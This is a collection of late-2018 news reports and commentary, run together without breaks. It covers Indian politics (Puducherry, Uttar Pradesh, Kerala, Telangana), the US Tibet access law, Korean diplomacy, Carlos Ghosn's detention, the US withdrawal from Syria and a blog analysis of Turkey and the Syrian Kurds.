Narayanasamy said he and his ministerial colleagues, legislators and leaders of Congress and its allies, including the DMK and the Left parties, would participate in the demonstration in the first week of January. The date would be announced later. The ongoing winter session of Parliament is slated to end on January 8. The chief minister said a resolution was passed at the meeting, condemning the continued slashing of grants by the NDA government to the Puducherry administration to meet its budgetary commitments. "We have had central grant of up to 90 per cent of our budget allocations in the past. This had been brought down to 70 per cent and now to 26 per cent of the budgetary allocations, thus affecting implementation of various welfare schemes," he added. Narayanasamy alleged Bedi was functioning in a manner that was "injurious to the welfare of the people and also in implementing welfare schemes". Bedi had been issuing oral orders arbitrarily to officials and was also "intimidating them on several occasions", he claimed. The senior Congress leader also accused Bedi of "misusing her authority" and interfering in the functioning of the elected government. The Congress and the chief minister have earlier demanded recall of Bedi, a former BJP leader and an ex-IPS officer, and the ruling Congress has been involved in a turf war since she was appointed Lt Governor of Puducherry in May 2016. Her style of functioning, in undertaking field visits and directly interacting with officials, has irked the ruling party on several occasion. Narayanasamy said the recent Supreme Court verdict upholding the nomination of three BJP leaders as members of the assembly "has struck at the roots of principles of democracy and federalism". The government would file a review petition in the apex court against the order, he added. The chief minister dubbed the nomination of the BJP members by the Centre as "induction of MLAs through the backdoor." He said that at the meeting Wednesday night, leaders of the parties extended their wholehearted support to the resolutions adopted. US President Donald Trump has signed a bipartisan bill on Tibet into law that could enrage China, paving the way to impose a visa ban on Chinese officials who deny American citizens, government officials and journalists access to the sensitive Himalayan region, homeland of the exiled Dalai Lama. US citizens including government officials, reporters and tourists who seek to enter Tibetan areas are routinely rejected, and the few who do get in are forced to stay on strictly controlled official tours, where the true situation of the Tibetan people is hidden from them, officials said. The situation is worst of all for Tibetan-Americans, who are almost and always denied the right to make a pilgrimage to their ancestral land and to meet their family members there, community members said. The December 19 move by President Trump came days after China lodged a "stern" diplomatic protest with the US over the Senate passing the legislation with Beijing asking Washington not to make it a law. China insists Tibet has been part of its territory for centuries. The Dalai Lama fled to India in 1959 amid an abortive uprising against the Chinese rule in his Himalayan homeland. The White House said that Trump signed into law the 'Reciprocal Access to Tibet Act of 2018' which promotes access for diplomats, officials, journalists and others from the United States to China's Tibetan areas. The bill, which was earlier passed by the Senate and the House of Representatives, seeks to impose a visa ban on Chinese officials who deny American citizens, government officials and journalists' access to the remote region of Tibet. The move also comes amidst Trump administration imposing massive trade import duties on China, the world's second largest after that of America. However, the bill includes a national security waiver and would require the Secretary of State to submit an assessment to Congress of the level of access to Tibet granted to US officials, journalists and tourists by China. If the Secretary of State determines that there are restrictions on travel to Tibet, the appropriate Chinese officials will be ineligible to enter the US. The Tibetan community described it as a historic moment for them. 'Reciprocal Access to Tibet Act becomes law, marking new era of American support for Tibet', said International Campaign for Tibet (ICT). "This is truly a turning point for Americans, Tibetans and all who care about equality, justice and human rights," said Matteo Mecacci, ICT president. "By passing this impactful and innovative law, the US has blazed a path for other countries to follow and let the Chinese government know that it will face real consequences for its discrimination against the Tibetan people," he said. Congressman Jim McGovern, who introduced the bill in the House of Representatives, said: "I'm glad that the President signed our bill, the Reciprocal Access to Tibet Act, into law. "For too long, China has covered up their human rights violations in Tibet by restricting travel. But actions have consequences and today we are one step closer to holding the Chinese officials who implement these restrictions accountable". McGovern said he looks forward to watching closely as the law is implemented, and continuing to stand with the people of Tibet in their struggle for religious and cultural freedom. The Reciprocal Access to Tibet Act is based on the diplomatic principle of reciprocity, which calls on countries to give equal rights to one another's citizens. Sponsors of the bill alleged that when it comes to Tibet, China does not reciprocate. Although Chinese citizens travel freely throughout the US, Chinese authorities severely restrict Americans' ability to access Tibet. "The Reciprocal Access to Tibet Act specifically highlights the discriminatory attitude of Chinese officials toward Tibetan-Americans who seek to visit Tibet. "The Chinese embassy and consulates routinely place such Tibetan-Americans under a more stringent and non-consular application process merely because they are of Tibetan-origin. This includes subjecting them to vigorous interviews by United Front officials, collecting personal and family information and eventually denying them access," ICT vice president Bhuchung K Tsering said. The ICT said until now, China has been able to use its economic and military power to isolate Tibet without much resistance from the international community. With reciprocal access to Tibet becoming law, China will begin to feel the weight of its unfair policies. The law requires the Secretary of State to assess Americans' level of access to Tibet within 90 days of its enactment and to send a report to Congress every year afterward identifying the Chinese officials responsible for keeping Americans out of Tibet. Yogi Adityanath Demanding resignation of Uttar Pradesh Chief Minister Yogi Adityanath, 83 former civil servants -- including ex-foreign secretaries Shyam Saran and Shivsankar Menon -- have written an open letter criticising the central and the state governments for their alleged failure in acting against the killers of a police officer in Bulandshahr. The letter said Adityanath "refuses to acknowledge the gravity of the incident and its communal intent, condemn the perpetrators of violence or direct the police to take action against them but instead asks them to focus attention on those responsible for illegal cow slaughter". Prime Minister Narendra Modi was also attacked in the letter signed by these former bureaucrats, who also included ex-Delhi lt governor Najeeb Jung, ex-foreign secretary Sujatha Singh, IAS-turned activists Aruna Roy and Harsh Mander, former Prasar Bharati CEO Jawahar Sircar and former Planning Commission secretary N C Saxena. "Our Prime Minister, who is so voluble in his election campaigns and who never tires of telling us of how the Constitution of India is the only holy book he worships, maintains stony silence even as he sees a Chief Minister handpicked by him treat that same Constitution with sheer contempt," they said. The letter follows the December 3 killing of Inspector Subodh Kumar Singh and another man in Bulandshahr following mob violence over alleged cow slaughter. Reacting to criticism, Adityanath Wednesday said his government's action in the case should be praised and described the cow slaughter in Bulandshahr as a "political conspiracy" by those who wanted to create anarchy. The Tuesday letter by former bureaucrats asked citizens to unite in a "crusade against the politics of hate and division a politics which aims to destroy the fundamental principles on which our Republic is founded". "It is a measure of the rapid erosion of constitutional values that we, as a group, have felt a compelling need to speak out as many as nine times in the last eighteen months," it said. The main accused in the case is a leader of right-wing group Bajrang Dal. Earlier, local BJP leaders had reportedly demanded the inspector's transfer, accusing him of creating obstacles for religious functions. According to the letter, the violence in Bulandshahr was a deliberate attempt to display majoritarian muscle and send a message to the Muslims living in the region that they "have to live in fear, accept their subordinate status and conform to the cultural diktats of the majority community". "World over, in any civilized society, the killing of a policeman is a more serious offence than any other crime, because it represents an assault on the very basis of that civilisation," it said. The former bureaucrats also urged the Allahabad High Court to take cognizance of the violence and order a judicial enquiry. They also reminded the state's chief secretary, the director general of police and the home secretary "of their constitutional duty to fearlessly implement the rule of law rather than the perverse dictates of their political masters". Other flags, bunting or any other objects should not be placed on or above the flag mast (Image: Reuters) Shiv Visvanathan To map a future year, one has to summarise the highlights of the previous year. Five events marked 2018, each having a deep impact on the times to come. The first was the election results which proved that the Bharatiya Janata Party (BJP) was no longer invincible. The second was the agitation around the proposed Ram Mandir, which seemed to be a scenario for the future. The third was the enormous protest against drought and the fate of agriculture which produced little response. The fourth was the violence against strangers creating the primacy of the mob. The fifth was the agitation around the Rohingya crisis and the making of the citizenship Bill. The only redeeming force was the spate of Supreme Court rulings; but if 2018 was the year of the court, 2019 will be the year of its silences, a sudden lethargy after the creativity of 2018. The next year has to be looked at as a response to these events and this, in turn, maps the prospect for democracy in the following year. The sadness of 2019 will begin when it becomes an act of repetition. The first example one can think of is the fact of stubble burning and the blame game that followed. The year 2019 will repeat the same ritual of indifference. The pollution reports will intensify the sense of indifference and politics of monotony and childrens lives will continue to be devalued, India will continue to be the casualty capital of children below six. Politicians will savour it as a Guinness Book statistic and life will go on. The year 2019 will continue to be the year of indifference, not just about children but also about agriculture. The decline and disaffection in agriculture will continue and MNCs will hang around like vultures waiting to introduce Bt agriculture as a panacea. It is almost as if the fate of farming has little to do with the prospects of democracy today. Violence too will proceed in an unprecedented way because the new agent of majoritarian democracy is the digital mob. The slaughter of strangers, migrants, Muslims for the slightest of suspicions will continue. Sadly, in the India of 2019, like in 2018, violence will be seen as an act of catharsis, even redemption. The year ahead will continue to celebrate the year of digital violence. As the election becomes immediate, violence will become the mode of rehearsal for electoral politics. The year 2019 will be a bad year for migrants, margins and minorities as the emerging middle class exorcises itself through violence. The violence that we have talked about so far is the violence of development. To this, we must add the violence of communalism. For the BJP, Ram Mandir is the electoral plank and the creation myth that renews the party. After the defeats of 2018, Uttar Pradesh and its Chief Minister Yogi Adityanath are likely to form the epicentre of violence in 2019. Communal violence will reach a new peak in 2019. In fact, death and dying will be one great refrain of democracy in 2019. The other crisis of democracy created by its self-definition as majoritarian will be the crisis of citizenship. Democracy today has become a narrowing of citizenship and 2019 will increase the harassment of the other. India will take the first steps to a Gulag-like existence for the Northeast. These areas, which have lived in a state of internal war, will seek to institutionalize the violence that drives them. Yet, democracy will continue its Pollyanna-like existence. Congress President Rahul Gandhi will be in the forefront in 2019, but the Congress will tumble until a miracle happens. Gandhi has little sense of the violence that encodes the era and the coming election promises to be one of the most ironic in Indian democracy. Life, as commentators would say, will go on with the usual quota of death and disasters. Electoral democracy will look even more superficial as politicians remain indifferent to drought, unemployment and violence. The alchemical year will be 2020. By then, India, tired of violence, and the rot of the cities, might be ready for a regime that thinks of the future. Sadly, the future looks as if it will bypass 2018, while corporations and development agencies celebrate the year. The year 2019 will be a nonsensical year for Indian democracy. Shiv Visvanathan is professor, Jindal Global Law School and director, Centre for Study of Knowledge Systems, OP Jindal Global University. Views are personal narendra modi_PM Prime Minister Narendra Modi will address BJP workers at a public meeting in Pathanamthitta, the central Kerala district where the Sabarimala Lord Ayyappa Temple is located, on January 6. He will again visit the state on January 27 to inaugurate a conference of the Bharatiya Janata Yuva Morcha, the youth wing of the saffron party, in Thrissur, BJP sources here said. The selection of Pathanamthitta as the venue for the prime minister's public meeting assumes significance in the wake of the boiling Sabarimala women's entry issue and the continuing protest of the Bharatiya Janata Party (BJP) over it. The two meetings to be addressed by Modi will also virtually turn out to be the curtain raiser to the BJP's campaigns for the coming Lok Sabha elections in the southern state. Modi's visit is expected to give a boost to the BJP state leadership, which is facing intense criticism from various quarters for calling back-to-back hartals on the Sabarimala row. The indefinite fast staged by the party leaders in front of the state Secretariat here, demanding the lifting of prohibitory orders and other restrictions at Sabarimala, is yet to create any desired impact. In a recent interaction with party workers in the state, Modi, while referring to the Sabarimala issue, had told party workers to express their views firmly to convince people while following democratic and constitutional norms. BJP state president P S Sreedharan Pillai said besides the prime minister, BJP national chief Amit Shah will address workers in Palakkad on December 31. "The prime minister will take part in two programmes- one in Pathanamthitta and the second in Thrissur. The upcoming Lok Sabha polls is the focus. As Pathanamthitta happens to be the centre of activity of the Sabarimala pilgrimage, the meeting assumes great significance," he told PTI. Meanwhile, the state and core committee meetings of the BJP, held here Wednesday, had decided to continue their protest against the LDF government's stand to implement the Supreme Court verdict which permitted women of all age groups at the Ayyappa temple, and also against restrictions imposed there. The Kerala BJP unit has been on an indefinite relay fast in front of the Secretariat here since December 3 over various demands, including withdrawal of prohibitory orders and reducing police restrictions at the hill-top shrine. Senior party leader C K Padmanabhan, who was on an indefinite fast for nine days, was arrested on Wednesday and moved to the Medical College hospital in the city after his health deteriorated. BJP state general secretary Shobha Surendran took over the relay fast after the arrest of Padmanabhan. Earlier, BJP general secretary A N Radhakrishnan was on an indefinite fast for eight days. The state had witnessed massive protests by devotees and right-wing groups opposing the entry of girls and women in the 10-50 age group into the Sabarimala temple since the Kerala government decided to implement the apex court order. Over a dozen women have so far made unsuccessful attempts to trek the holy hills. K Chandrashekar Rao_KCR_TRS The Telangana Rashtra Samiti would reach out to the Trinamool Congress, Samajwadi Party and the Bahujan Samaj Party to promote its idea of forging a non-Congress, non-BJP federal front of regional parties, a key TRS leader said on Thursday. TRS deputy floor leader in the Lok Sabha, B Vinod Kumar, said his party has already "sold the idea" of a united front to the regional parties. He dismissed the perception in some sections of the Congress and the United Progressive Alliance (UPA) camp that the efforts of TRS president and Telangana Chief Minister K Chandrasekhar Rao in this direction may split the anti-BJP votes and benefit the Bharatiya Janata Party. "Our thinking on this federal front is: All the regional parties who are powerful in their respective states should come together and their bargaining power will increase with either the Congress or the BJP only if we are united," the Karimnagar Lok Sabha member told PTI. "Otherwise, they -- Congress and BJP -- will deal with each political party in each state and dictate terms to other regional political parties," Kumar argued. Regional parties should unite and "collectively bargain" with political parties -- in post-poll scenario, he said. Both the BJP and the Congress are unable to "stomach" this TRS idea to bring about unity among regional parties and are indulging in propaganda -- "The Congress says we (TRS) is with the BJP, the BJP says we (TRS) are with the Congress," he said. "Our concept of a federal front is that all the regional political parties who have their stakes in their state should come united, we should come united, and we should think and decide whom to support (post-election)," Kumar said. Rao had few months ago met TMC chief Mamata Banerjee, DMK president M K Stalin and JD(S) leaders H D Deve Gowda and H D Kumaraswamy to promote his idea of a non-Congress, non-BJP federal front. But the initiative was largely seen as a non-starter by critics. When asked about how the TRS would take the issue forward as many regional parties have either aligned with the Congress-led UPA or the BJP-led NDA, he said: "We have already sold this idea. Already those who are with the BJP are thinking on these terms (federal front) and also the UPA partners they are happy with this (TRS) idea." "Now, day before yesterday, Mamata Banerjee, Samajwadi Party and Mayawati had distanced themselves from the Congress," he said without elaborating. Banerjee, SP chief Akhilesh Yadav and Mayawati had skipped the swearing-in ceremonies of three Congress chief ministers -- Kamal Nath, Ashok Gehlot and Bhupesh Baghel -- in Madhya Pradesh, Rajasthan and Chhattisgarh, respectively. The three leaders are reportedly not in favour of projecting a prime ministerial candidate of the proposed anti-BJP front and are of the opinion that the leadership issue could be discussed after the polls. On Sunday, the DMK chief backed Congress president Rahul Gandhi as the opposition's prime ministerial nominee. Asked if the TRS would reach out to Banerjee, Yadav and Mayawati again, Kumar said: "They should understand properly (the concept of a federal front). We have already briefed them earlier. We will once again tell them." TRS sources said Rao may try to give a fresh impetus to the idea of a federal front during his visit to the national capital expected by the end of this month. Rao, who was recently sworn-in as Telangana's chief minister for the second consecutive time, is likely to pay a courtesy visit to President Ram Nath Kovind and Prime Minister Narendra Modi in New Delhi. Bankura: West Bengal Chief Minister Mamata Banerjee during a developmental programme of her government in Bankura district of West Bengal, Wednesday, Nov 28, 2018. (PTI Photo) (PTI11_28_2018_000196B) West Bengal Chief Minister Mamata Banerjee on Thursday said that unity in diversity is India's strength, and asked people to uphold the spirit and remain united. Referring to a Sanskrit phrase found in Maha Upanishad, 'Vasudhaiva Kutumbakam', meaning, "the world is one family", the chief minister, on International Human Solidarity Day, urged everybody to stay united and fight the divisive forces. "On International Human Solidarity Day, let us pledge to uphold the spirit of 'Vasudhaiva Kutumbakam' in truest sense. Unity in diversity is India's strength," Banerjee tweeted. "We must all be united and fight against the forces which seek to divide us for selfish reasons," she added. The United Nations' (UN) International Human Solidarity Day is annually held on December 20 to celebrate unity in diversity. It also aims to remind people on the importance of solidarity in working towards eradicating poverty. A North Korean flag flutters on top of a 160-metre tower in North Korea's propaganda village of Gijungdong, in this picture taken from the Dora observatory near the demilitarised zone separating the two Koreas, in Paju, South Korea. (Reuters) A US special envoy for North Korea on December 20 visited a border village the rival Korea's has been demilitarizing as part of steps to reduce military tensions amid a larger diplomatic push to resolve the nuclear crisis. The US Embassy in Seoul did not provide details about Stephen Biegun's visit to Panmunjom. He wasn't expected to meet with North Korean officials at the village, which is often used for diplomacy between the allies and North Korea. Biegun said after arriving in South Korea on December 19 that Washington was reviewing easing travel restrictions on North Korea to facilitate humanitarian shipments to help resolve an impasse in nuclear negotiations. North Korea hasn't responded to Biegun's comments. The North's state media recently warned that the United States' continued commitment to sanctions and criticism about the North's human rights record could "block the path to denuclearization on the Korean Peninsula forever." During his four-day visit to South Korea, Biegun plans to discuss with South Korean officials the allies' policies on North Korea, including the enforcement of sanctions. The meetings are likely to include conversations about a groundbreaking ceremony the Koreas plan to hold at Panmunjom next week for a project to reconnect their roads and railways. The nuclear negotiations between Washington and Pyongyang have stalled since a summit between President Donald Trump and North Korean leader Kim Jong Un in June, when they issued a vague promise for a nuclear-free Korean Peninsula without describing how or when it would occur. The United States wants North Korea to provide a detailed account of nuclear and missile facilities that would be inspected and dismantled under a potential deal, while the North is insisting that sanctions be lifted first. The stalemate has been a setback for liberal South Korean President Moon Jae-in, who has been actively pushing for reconciliation with the North. Washington and Seoul also have disagreed over the pace of inter-Korean engagement, which Washington says should move in tandem with US-led efforts to denuclearize the North. Through three summits between Moon and Kim this year, the Koreas agreed to a variety of goodwill gestures and vowed to resume economic cooperation when possible, voicing optimism that international sanctions could end to allow such activity. Trump announced Thursday he would not sign a bill to keep funding the government because it fails to provide billions for his border wall. It was his second reversal in a matter of days after conservative allies and pundits accused him of backing down on a central campaign promise. His decision has thrown Congress into disarray and risks a federal shutdown this weekend. Rafale jet The BJP and the Congress workers clashed over the Rafale deal issue at Congress Bhawan here, a senior police official said. Minutes before senior Congress leader Kumari Selja was to address a press conference over the Rafale deal issue at the party office here Wednesday, the BJP workers allegedly stormed into its precincts and started tearing off the posters and banners leading to a clash with the Congress workers, who resisted, he said. The BJP workers even clashed with police personnel when they tried to stop them, Pradesh Congress president Pritam Singh said. The BJP workers, who had gathered at Astley Hall to burn an effigy of Congress president Rahul Gandhi, who they claimed was "misleading the nation over Rafale". They broke the barricades and marched towards Congress Bhawan located nearby, Additional Director General law and order Ashok Kumar said. As per a complaint lodged with police by the Congress leaders, the vandalism by the BJP workers at the party office was meant to disrupt a press conference by Selja on the Rafale deal. The deputy inspector general has been asked to look into the allegations made by the Congress, the ADG said. The BJP workers said the Congress president was "spreading lies" about Rafale despite the fact that the Supreme Court had found nothing wrong in the deal. "Despite the chinks in his own armour, Rahul Gandhi has used unparliamentary language against the prime minister, calling him a thief and lowering the dignity of the top office, " BJP Mahanagar president Vinay Goel said. When asked about the vandalism at the Congress office, Goel said the BJP workers were only peacefully protesting. Condemning the incident, Pradesh Congress Committee chief Pritam Singh said it reflected the frustration prevailing in the BJP ranks over the party's electoral loss in Madhya Pradesh, Chhattisgarh and Rajasthan. Mehul Choksi As many as 58 economic offenders who are living abroad are being pursued by Indian investigative agencies, reports The Times of India. Apart from Vijay Mallya, the names include Nirav Modi, Mehul Choksi, Nitin and Chetan Sandesara, Lalit Modi and European middlemen Guido Ralph Haschke and Carlo Gerosa who are being pursued through lookout circulars (LoCs), Interpol red notices and extradition requests. In the UK, UAE, Belgium, Egypt, the US and Antigua and Barbuda, the CBI (Central Bureau of Investigation), ED (Enforcement Directorate) and DRI (DIrectorate of Revenue Intelligence) are currently pursuing 16 extradition requests. The government has also sent fresh extradition requests for VVIP chopper scam middlemen Guido Ralph Haschke and Carlo Gerosa to Italy in October, reveals a detailed reply filed by the Ministry of External Affairs in Lok Sabha. Such requests were sent earlier to the government of Italy. For Gerosa in November 2017 and Haschke in January 2018, both of which were returned by Italian authorities. As for fugitive businessman Mehul Choksi, wanted in a Rs 13,000 crore bank fraud, two extradition requests have been sent to Antigua. A red notice has also been issued against him by the Interpol, which makes him an international fugitive. Gujarat-based businessman Ashish Jobanputra, accused of duping State Bank of India (SBI) and Bank of Baroda by using letters of import for credit that never happened, is being pursued through extradition requests to the US along with his wife Priti. The ex-IPL (Indian Premier League) commissioner is being pursued through LRs (Letters of Rogatory) sent to Singapore, Hong Kong, the UAE and Mauritius. A hunt is also going on for Deepak Talwar (said to be in the UAE) who is under IT lens for Rs 1,000 crore undisclosed income and is being sought from the UAE through the mutual legal assistance treaty (MLAT). The government is also on a lookout for Sanjay Bhandari, who is a fugitive arms dealer residing in London. Red corner notices are under process against Chetan, Nitin, Dipti Sandesaras and one Hiteshkumar Patel, all of who are accused of cheating banks of Rs 5,000 crore through their company Sterling Biotech. External Affairs Minister Sushma Swaraj will hold extensive talks with her Chinese counterpart Wang Yi on Friday under the newly established framework to enhance people-to-people exchanges between the two neighbours. The two sides are expected to deliberate on a host of bilateral issues including ways to deepen overall ties. Wang is visiting India to attend the first meeting of the High Level Mechanism on People-to-People Exchanges. He will also call on President Ram Nath Kovind. During his four-day trip, the Chinese foreign minister will also visit Aurangabad and Mumbai. Spokesperson in the Ministry of External Affairs Raveesh Kumar said the meeting will be co-chaired by Swaraj and Wang. The decision to establish the forum was taken at the Wuhan summit between Prime Minister Modi and President Xi Jinping in April. Modi and Xi had met on the sidelines of the G-20 summit in Argentina on November 30 during which they concurred that there had been a "perceptible improvement" in bilateral ties after their Wuhan summit and both sides are optimistic that 2019 would be an even better year for India-China relations. They also discussed joint efforts to further enhance mutual trust and friendship between the two neighbours. Earlier this month, Foreign Secretary Vijay Gokhale held talks here with Chinese Vice Foreign Minister Kong Xuanyou and reviewed the progress made in the bilateral ties since the Wuhan summit. In their informal summit in Chinese city of Wuhan in April, Modi and Xi decided to issue "strategic guidance" to their militaries to strengthen communications so that they can build trust and understanding. The informal summit had taken place seven months after the Doklam standoff. Carlos Ghosn Carlos Ghosn could soon be freed on bail after a Japanese court on Thursday threw out a bid by prosecutors to extend his detention, in a move nearly as unexpected as the auto tycoon's sudden arrest. The 64-year-old Franco-Brazilian-Lebanese executive has languished in a Japanese detention centre since his arrest on November 19 for alleged financial misconduct sent shockwaves through the business world. But in another stunning development, the Tokyo District Court said prosecutors had filed a bid to extend his detention on December 20, but it was "rejected". In the Japanese system, it is extremely rare for the court to grant bail to someone who denies the allegations as Ghosn does, and the decision took observers by surprise. The move paved the way for a potential release as early as Friday, according to public broadcaster NHK. Ghosn's lawyers are expected to request bail while prosecutors will lodge an appeal against the court decision, according to local news agency Jiji Press. A spokesman for the Tokyo district public prosecutors office told AFP the office would "deal with it appropriately". Prosecutors had formally charged him on December 10 with financial misconduct for allegedly under-declaring his income by some five billion yen ($44 million) between 2010 and 2015. At the same time, they re-arrested him on suspicion of also under-reporting his income by a further four billion yen over the past three years. He has not formally been charged over this allegation. Ghosn's detention threw the spotlight on the Japanese legal system where suspects can be held for long periods. He is being held in a one-man cell in northern Tokyo measuring just three tatami mats -- around five square metres (54 square feet) -- a far cry from the lavish lifestyle that had previously attracted criticism. Ghosn has told embassy visitors he is being well treated but has complained of the winter cold and the rice-based food. Nevertheless, sources at French car giant Renault have described his frame of mind as "combative" as he fights the charges against him. In addition to charges against Ghosn and his right-hand man Greg Kelly, prosecutors had also indicted Nissan itself, as the company submitted the official documents that under-reported the income. Ghosn's arrest on November 19 unleashed a firestorm through the three-way car alliance of Nissan, Renault and Mitsubishi Motors -- which together sold more vehicles than any other group last year. Nissan and Mitsubishi Motors promptly sacked the tycoon as chairman but Renault kept him on and appointed an interim boss as it waited to assess the legal procedures against him. On Monday, Nissan failed to agree a replacement as chairman amid growing tensions with the French firm. Renault owns 43 percent of Nissan but the Japanese firm now makes more money, leading to rifts within the tie-up that Ghosn forged and was credited with holding together. A newly formed committee looking into governance at Nissan is to report its findings by March, but the decision on a new chairman could potentially stretch beyond that, said current CEO Hiroto Saikawa. In addition to the formal charge of financial misconduct, Ghosn has been accused of a variety of other unproven allegations, including using Nissan funds to purchase a string of luxury homes around the world. One of these homes -- a luxurious, 800-square-meter (8,600 square-foot) spread with ocean views over Rio de Janeiro's famous Copacabana Beach -- has become the subject of a legal battle on the other side of the world, where Ghosn now resides. Last week, Ghosn family members entered the flat, removed "personal effects" and opened the safes, according to Nissan. President Donald Trump's decision to withdraw US troops from Syria is consistent with his policy that the main objective of American forces in the war-torn country was to destroy the ISIS and not to resolve the civil war, the White House has said as it defended the move criticised by many as "premature'. The White House's assertion came after Trump claimed the US has "defeated" the Islamic State group in Syria. A White House official announced Wednesday that the US has started withdrawing American troops from the country. The decision, a sharp reversal from previously stated US policy, surprised foreign allies and lawmakers. Many analysts believe that a withdrawal of ground forces will please US enemies by clearing the way in Syria for the Assad regime, Russia and Iran. The Wall Street Journal described it as an abrupt decision by the Trump administration. Currently, there are about 2,000 US forces in Syria. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," Trump tweeted on Wednesday. White House Press Secretary Sarah Sanders said that "victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign". "We have started returning United States troops home as we transition to the next phase of this campaign," she added. "The United States and our allies stand ready to re-engage at all levels to defend American interests whenever necessary, and we will continue to work together to deny radical Islamist terrorists' territory, funding, support and many means of infiltrating our borders." A senior administration official, who spoke on condition of anonymity, told reporters in a conference call that Trump, over the past two years, has clearly declared that the US is not going into Syria to resolve the civil war. "What we were going in to do was to destroy the territorial caliphate, which he referred to as 'ISIS in Syria', very specifically," the official said. Speaking a few hours after the decision was announced, the official left the timeline of withdrawal to the Pentagon, which declined to give any comment immediately. "We are under no illusion that that means ISIS writ-large or the scourge of Sunni radical terrorism has in some way gone away," the official said. Trump's decision attracted criticism from leaders of his own Republican party, who argued that such a hasty decision would endanger American national security in the long run. Republican Senator Marco Rubio said the full and rapid withdrawal of US troops from Syria is a grave error with broader implications beyond just the fight against IS group. "The president's tweet is dangerous, premature and wholly inconsistent with the facts on the ground in Syria and our military's advice. I have travelled to Syria to review our mission, and our military has performed well beyond expectations," said Senator Jeanne Shaheen. The administration official, however, argued that Trump has been consistent in his views on Syria. "I will say the president's statements on this topic has been 100 per cent consistent from the campaign through his announcement today. And so, I think the notion that anyone within the administration was caught unaware, I would challenge that, quite frankly. And it was the president's decision to make, and he made it," the official said. The official acknowledged that several lawmakers at the Capitol Hill disagree with the decision. "The senators obviously have been working on this issue, as well, for many years. They have their opinions." Responding to questions, the official said this was "purely Trump's decision" and he did not consult with his Turkish counterpart on the issue. "It was not something he discussed with President (Recep Tayyip) Erdogan. He has informed President Erdogan of his decision. As a neighbour of Syria, obviously it's going to be an important issue for Turkey. But this was not a topic of discussion. It was informational," the official said. The official also asserted that the US troops in Syria were to fight and defeat ISIS and not to fight Iran. Dr. Jose Baselga, the former chief medical officer of Memorial Sloan Kettering Cancer Center, resigned under pressure on Wednesday as one of the editors in chief of Cancer Discovery, a prominent scientific journal, after he failed to accurately disclose his conflicts of interest in dozens of articles in medical journals. The American Association for Cancer Research, which publishes the journal, said a panel of experts and the groups board of directors had concluded that Dr. Baselga did not adhere to the high standards pertaining to conflict of interest disclosures that the AACR expects of its leadership. Consequently, Dr. Baselga was asked to resign from his role at the journal, said a statement sent to the associations members. Baselga, a prominent figure in the world of cancer research, had helped found the journal and served as an editor for the past eight years. The AACR, which he formerly led as president , concluded that his omissions were inadvertent and said it would allow Baselga to continue publishing in its journals. Dr. Baselga is a valued member of the AACR with acknowledged expertise in clinical and translational cancer research, Dr. Margaret Foti, the groups chief executive, said in the statement. Baselgas disclosure lapses have prompted a broader discussion over the influence of the drug and health care industries on medical research, including whether journals should do a better job of ensuring that researchers accurately report their corporate ties. Teaching hospitals across the country have reminded faculty members of their obligation to disclose, and some have begun re-examining which relationships are appropriate. January 25, 2018 "Who Lost Turkey?" - The U.S.-Kurdish Project In Syria Endangers NATO Back in the 1950s the U.S. political sphere was poisoned by a groundless smear campaign against country-experts in the State Department who were identified as those who lost China. If the Trump administration proceeds on its current course we may soon see similar accusations. The accused, those "who lost Turkey", will again be the ones who warned of the possibility and not the real culprits. The Turkish attack on the Kurd held Syrian canton of Afrin (Efrin) is not progressing as fast the Turks had hoped. The infantry component of the operation are Turkish proxy forces in Syria. These Chechen, Uighur, Turkestanis and other Takfiris are cannon fodder in the operations, not a well integrated component of an army. bigger The Kurds know their local mountainous territory, are well armed and willing to fight. They can holdout for a while. Politically they will still be the ones who will lose the most in the conflict. The above linked piece noted that the Kurdish YPG/PKK leaders had rejected the Syrian and Russian government offer that would have prevented the Turkish attack. The offer still exists but the conditions will become less favorable as longer the Kurds hold out. Elijah Magnier just published more details on that offer and analyses the strategic situation: [T]he US is observing the performance of the Turkish army with interest and wishes to see Erdogan humiliated, broken on the rocks of the Kurds in Afrin. Indeed, the US has delivered anti-tank weapons, already effectively used by the Kurds against the Turkish army (many tanks damaged during the attack on Afrin). ... The US cant understand that Ankara is not ready to see a rich and well-armed Kurdish state on its borders, disregarding the USs tempting and generous offer [of a "safe zone" (see below)]. Actually, the US is offering a territory that not only does not belong to the Americans but is actually occupied by the US forces in north east Syria. The US is one of the losers in this battle, regardless of the results, because Turkey will continue its operations until the defeat of the Kurds, either by military means or if Afrin returns to [Syrian] central governments control. I am not convinced that the above prediction will hold. There is still a possibility that Turkey might again change sides and (again) join the U.S. "regime change" efforts in Syria. This depends on the winner of a conflict within the U.S. military where opposing forces are pulling for the Turkish and respectively the Kurdish side. Should the pro-Turkish side win, Erdogan can be offered a new deal and might be induced to again change sides from his current pro-Russian (pro-Damascus?) position back towards a pro-NATO/U.S. stand. (There is also a tiny chance that Turkey already has a secret back deal with the U.S. administration but I see no indication for it.) From the very beginning of the conflict in Syria Turkey worked with the U.S., NATO, the Saudis and Qataris, against the Syrian government. It supported the Saudi and U.S. position of "regime change", let ten-thousands of terrorists pass through its borders and delivered ten-thousands of tons of weapons and supplies to the forces fighting the Syrian government. Finally Russia entered the picture, defeated the Takfiris, put harsh pressure on Turkey and offered new economic deals. At the same time the U.S. attempted "regime change" in Ankara and allied with the Kurdish YPG/PKK in Syria and Iraq. Erdogan, though unwillingly, changed sides and now works with Russia (and Syria) to bring the war to a conclusion. "Regime change" in Damascus has become an unlikely scenario he no longer supports. At the same time he is still willing to invest money and forces to gain something for his failed investment in the war. Taking Afrin to later incorporate it into an enlarged Turkey is one of those plays. He is clearly still aiming for additional territory. The U.S. now offered him some in form of a safe zone in Syria: bigger Ilhan tanir @WashingtonPoint - 7:50 PM - 24 Jan 2018 This map being discussed all day on Turkish TVs as Turkeys planned security zone/safe zone on Syria border. Reportedly OKed by Sec.Tillerson though nobody on the American side confirms it If the U.S. indeed made the "safe zone" offer - Tillerson did not deny today to have made such - it found a rather cold response: Washingtons proposal for the creation of a security zone along Turkeys 911-kilometer border with Syria has received a cool reply from Ankara, with Foreign Minister Mevlut Cavusoglu urging the U.S. to first take steps to re-build trust between the two allies before discussing such military matters. ... The U.S. needs to stop delivering weapons to the YPG. It needs to push the YPG to withdrawing from Manbij if it wants to re-build confidence with Turkey We have to see all these commitments fulfilled, Cavusoglu said. It is the U.S. supported founding of a Kurdish state-let in north-east Syria which is Ankara's most serious security concern. No "safe zone" will help if the U.S. military continues to build and supplies a Kurdish "border force" that can penetrate Turkey's south-eastern underbelly - now, tomorrow or in ten years. 